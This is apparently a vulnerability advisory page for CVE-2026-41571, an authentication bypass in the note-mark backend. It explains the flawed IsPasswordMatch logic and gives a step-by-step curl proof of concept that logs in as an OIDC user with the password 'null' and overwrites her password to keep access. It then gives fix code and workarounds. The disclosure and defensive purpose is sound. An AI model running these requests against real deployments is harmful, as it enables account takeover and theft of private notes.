Skip to main content

note-mark CVE-2026-41571

| EUVDEUVD-2026-27051 CRITICAL
Improper Authentication (CWE-287)
2026-04-25 https://github.com/enchant97/note-mark GHSA-pxf8-6wqm-r6hh
9.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.4 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Lifecycle Timeline

4
Analysis Generated
Apr 26, 2026 - 00:00 vuln.today
Analysis Generated
Apr 25, 2026 - 23:45 vuln.today
Patch released
Apr 25, 2026 - 23:45 nvd
Patch available
CVE Published
Apr 25, 2026 - 23:40 nvd
CRITICAL 9.4

DescriptionGitHub Advisory

Summary

IsPasswordMatch in backend/db/models.go falls back to a hard-coded bcrypt("null") placeholder whenever a user has no stored password. OIDC-registered users are created with an empty password, so anyone who submits password: "null" to the internal login endpoint receives a valid session for that user. The bypass is unauthenticated and requires no user interaction.

Details

backend/db/models.go:36 defines the placeholder hash used by the timing-attack mitigation inside IsPasswordMatch:

go
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte("null"), bcrypt.DefaultCost)

IsPasswordMatch (backend/db/models.go:46-58) substitutes that placeholder when the stored password is empty:

go
func (u *User) IsPasswordMatch(plainPassword string) bool {
    var current []byte
    if len(u.Password) == 0 {
        // prevent CWE-208
        current = nullPasswordHash
    } else {
        current = u.Password
    }
    if err := bcrypt.CompareHashAndPassword(current, []byte(plainPassword)); err == nil {
        return true
    }
    return false
}

OIDC-registered users are stored with an empty password at backend/services/auth.go:102-115:

go
return db.DB.Transaction(func(tx *gorm.DB) error {
    user := db.User{
        Username: username,
        Password: []byte(""),
    }
    // ...
})

The internal login endpoint (POST /api/auth/token, handled at backend/services/auth.go:20-54) calls IsPasswordMatch with the caller-supplied password. For any OIDC-only user, bcrypt.CompareHashAndPassword(nullPasswordHash, []byte("null")) returns nil, the function returns true, and the server issues a Auth-Session-Token cookie.

EnableInternalLogin defaults to true, and GET /api/info discloses both OIDC configuration and internal-login status. enableAnonymousUserSearch also defaults to true, so an unauthenticated caller enumerates usernames via GET /api/users/search before touching the login endpoint.

Once the session is issued, PUT /api/users/me/password accepts existingPassword: "null" because the same IsPasswordMatch routine verifies the existing password. The caller writes a new password onto the OIDC user's row, which locks the legitimate OIDC user out on the next internal-login path.

Proof of Concept

Tested against note-mark v0.19.2.

Step 1: Start note-mark pointed at any OIDC provider and set OIDC__ENABLE_USER_CREATION=true. The defaults for ENABLE_INTERNAL_LOGIN and ENABLE_ANONYMOUS_USER_SEARCH do not need to be changed.

bash
docker run -d --name note-mark-poc \
  -e OIDC__PROVIDER_NAME=example \
  -e OIDC__CLIENT_ID=note-mark \
  -e OIDC__CLIENT_SECRET=secret \
  -e OIDC__ISSUER_URL=https://your-oidc-provider/ \
  -e OIDC__ENABLE_USER_CREATION=true \
  -p 8088:8080 ghcr.io/enchant97/note-mark-backend:0.19.2

Step 2: Alice registers via the OIDC flow. TryCreateNewOidcUser stores her row with Password = []byte("").

Step 3: Bob confirms the preconditions.

bash
curl -s http://localhost:8088/api/info
# {"allowInternalLogin":true,"oidcProvider":"example","enableAnonymousUserSearch":true,...}

Step 4: Bob logs in as Alice via the internal endpoint.

bash
curl -i -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"null"}'

Response:

HTTP/1.1 204 No Content
Set-Cookie: Auth-Session-Token=eyJ...; Path=/; HttpOnly; SameSite=Strict

Step 5: Bob uses the cookie to read Alice's account.

bash
curl -b 'Auth-Session-Token=eyJ...' http://localhost:8088/api/users/me
# {"id":"...","username":"alice","name":"Alice"}

Step 6: Bob persists access by writing his own password onto Alice's row.

bash
curl -i -b 'Auth-Session-Token=eyJ...' -X PUT \
  http://localhost:8088/api/users/me/password \
  -H 'Content-Type: application/json' \
  -d '{"existingPassword":"null","newPassword":"bob-owns-this-now"}'
# HTTP/1.1 204 No Content

Alice's next internal-login attempt fails; her OIDC flow still works, but Bob now holds a second valid credential on the same row.

A companion script that drives all six steps ships at pocs/poc_014_null_password_bypass.sh.

Impact

Every OIDC-only user on a note-mark deployment with ENABLE_INTERNAL_LOGIN=true (the default) is one HTTP request from takeover. Bob reads Alice's private notebooks, her note markdown, and her uploaded assets. He writes, edits, or deletes anything Alice owns. Step 6 grants persistent access and costs Alice her account until the maintainer clears the row by hand.

The default configuration ships both authentication paths side by side, so any site that turns on OIDC is affected without further misconfiguration on the operator's part.

Recommended Fix

The clearest fix rejects the login path for rows with no stored password. Add the check after the user lookup in GetAccessToken:

go
// backend/services/auth.go:28
var user db.User
if err := db.DB.
    First(&user, "username = ?", username).
    Select("id", "password").Error; err != nil {
    user.IsPasswordMatch(password) // preserve CWE-208 timing mitigation
    return core.AccessToken{}, InvalidCredentialsError
}

if len(user.Password) == 0 {
    return core.AccessToken{}, InvalidCredentialsError
}

if !user.IsPasswordMatch(password) {
    return core.AccessToken{}, InvalidCredentialsError
}

The equivalent change belongs in UpdateUserPassword at backend/services/users.go:53-61, since the same routine verifies existingPassword during the persistence step.

Replacing nullPasswordHash with a per-instance unguessable plaintext closes the hole too, but relies on the placeholder staying secret:

go
// backend/db/models.go:36
var nullPasswordHash, _ = bcrypt.GenerateFromPassword([]byte(uuid.NewString()), bcrypt.DefaultCost)

The explicit empty-password check is preferable because the intent is readable in the source.

--- *Found by aisafe.io*

AnalysisAI

Remote authentication bypass in note-mark backend allows unauthenticated attackers to hijack OIDC user accounts by submitting the password 'null' to the internal login endpoint. Affected deployments running default configuration (EnableInternalLogin=true) with OIDC enabled permit complete account takeover of any OIDC-registered user. Attackers gain full access to private notebooks, markdown content, and uploaded assets, plus can persist access by overwriting the victim's password. Vendor patch available in commit dea5530c. CVSS 9.4 (AV:N/AC:L/PR:N/UI:N) reflects the zero-interaction remote attack against default installations. No EPSS or KEV data available, but the detailed POC script in the advisory significantly lowers exploitation barrier.

Technical ContextAI

This vulnerability stems from a flawed timing-attack mitigation in the bcrypt password comparison logic (CWE-287: Improper Authentication). The note-mark backend (pkg:go/github.com_enchant97_note-mark_backend) uses a constant placeholder hash bcrypt('null') when validating passwords for users with empty stored passwords. OIDC authentication flows in the Go/GORM codebase create user records with Password=[]byte('') to indicate SSO-only accounts. The IsPasswordMatch function in backend/db/models.go substitutes nullPasswordHash for timing-attack resistance, but because the placeholder is generated from the literal string 'null' at compile time, any attacker who submits 'null' as the plaintext password satisfies bcrypt.CompareHashAndPassword. This design conflates constant-time comparison (anti-timing-attack measure) with authentication logic, creating a hard-coded credential accepted by all OIDC users. The flaw exists in both the login flow (POST /api/auth/token) and password-change flow (PUT /api/users/me/password), enabling initial takeover and persistence respectively.

RemediationAI

Apply vendor patch commit dea5530cc9891187b51548ef9f2868b7dc9f4e92 from https://github.com/enchant97/note-mark/commit/dea5530cc9891187b51548ef9f2868b7dc9f4e92. The fix adds explicit rejection of login attempts for users with empty stored passwords in both GetAccessToken (backend/services/auth.go) and UpdateUserPassword (backend/services/users.go) before bcrypt comparison. Operators should upgrade to the patched version immediately. WORKAROUND for deployments unable to patch immediately: disable internal login by setting ENABLE_INTERNAL_LOGIN=false in environment configuration, forcing all authentication through OIDC flow. This eliminates the vulnerable code path entirely. Trade-off: administrators and non-OIDC users lose login capability until patch deployment. Alternative workaround: disable OIDC user auto-creation (OIDC__ENABLE_USER_CREATION=false) and manually provision accounts with strong passwords, though this defeats SSO convenience and does not protect existing OIDC users. Post-patch validation: audit existing OIDC user accounts for Password column length=0 and verify no unauthorized password-change events in application logs between initial OIDC registration and patch deployment.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-41571 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy